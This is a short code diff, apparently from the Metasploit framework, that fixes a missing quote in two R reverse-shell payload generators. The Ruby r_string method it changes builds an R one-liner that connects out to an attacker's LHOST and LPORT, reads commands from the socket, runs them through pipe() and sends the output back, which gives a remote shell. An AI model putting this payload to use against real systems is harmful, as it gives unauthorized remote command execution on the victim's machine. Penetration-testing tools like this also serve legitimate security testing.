File tree Expand file tree Collapse file tree 2 files changed +2
-2
lines changed Expand file tree Collapse file tree 2 files changed +2
-2
lines changed Original file line number Diff line number Diff line change @@ -42,7 +42,7 @@ def prepends(r_string)
42
42
def r_string
43
43
lhost = datastore [ 'LHOST' ]
44
44
lhost = "[#{ lhost } ]" if Rex ::Socket . is_ipv6? ( lhost )
45
- return "s<-socketConnection(host='#{ lhost } ,port=#{ datastore [ 'LPORT' ] } ," +
45
+ return "s<-socketConnection(host='#{ lhost } ' ,port=#{ datastore [ 'LPORT' ] } ," +
46
46
"blocking=TRUE,server=FALSE,open='r+');while(TRUE){writeLines(readLines" +
47
47
"(pipe(readLines(s, 1))),s)}"
48
48
end
Original file line number Diff line number Diff line change @@ -38,7 +38,7 @@ def generate
38
38
def r_string
39
39
lhost = datastore [ 'LHOST' ]
40
40
lhost = "[#{ lhost } ]" if Rex ::Socket . is_ipv6? ( lhost )
41
- return "s<-socketConnection(host='#{ lhost } ,port=#{ datastore [ 'LPORT' ] } ," +
41
+ return "s<-socketConnection(host='#{ lhost } ' ,port=#{ datastore [ 'LPORT' ] } ," +
42
42
"blocking=TRUE,server=FALSE,open='r+');while(TRUE){writeLines(readLines" +
43
43
"(pipe(readLines(s, 1))),s)}"
44
44
end
You can’t perform that action at this time.
0 commit comments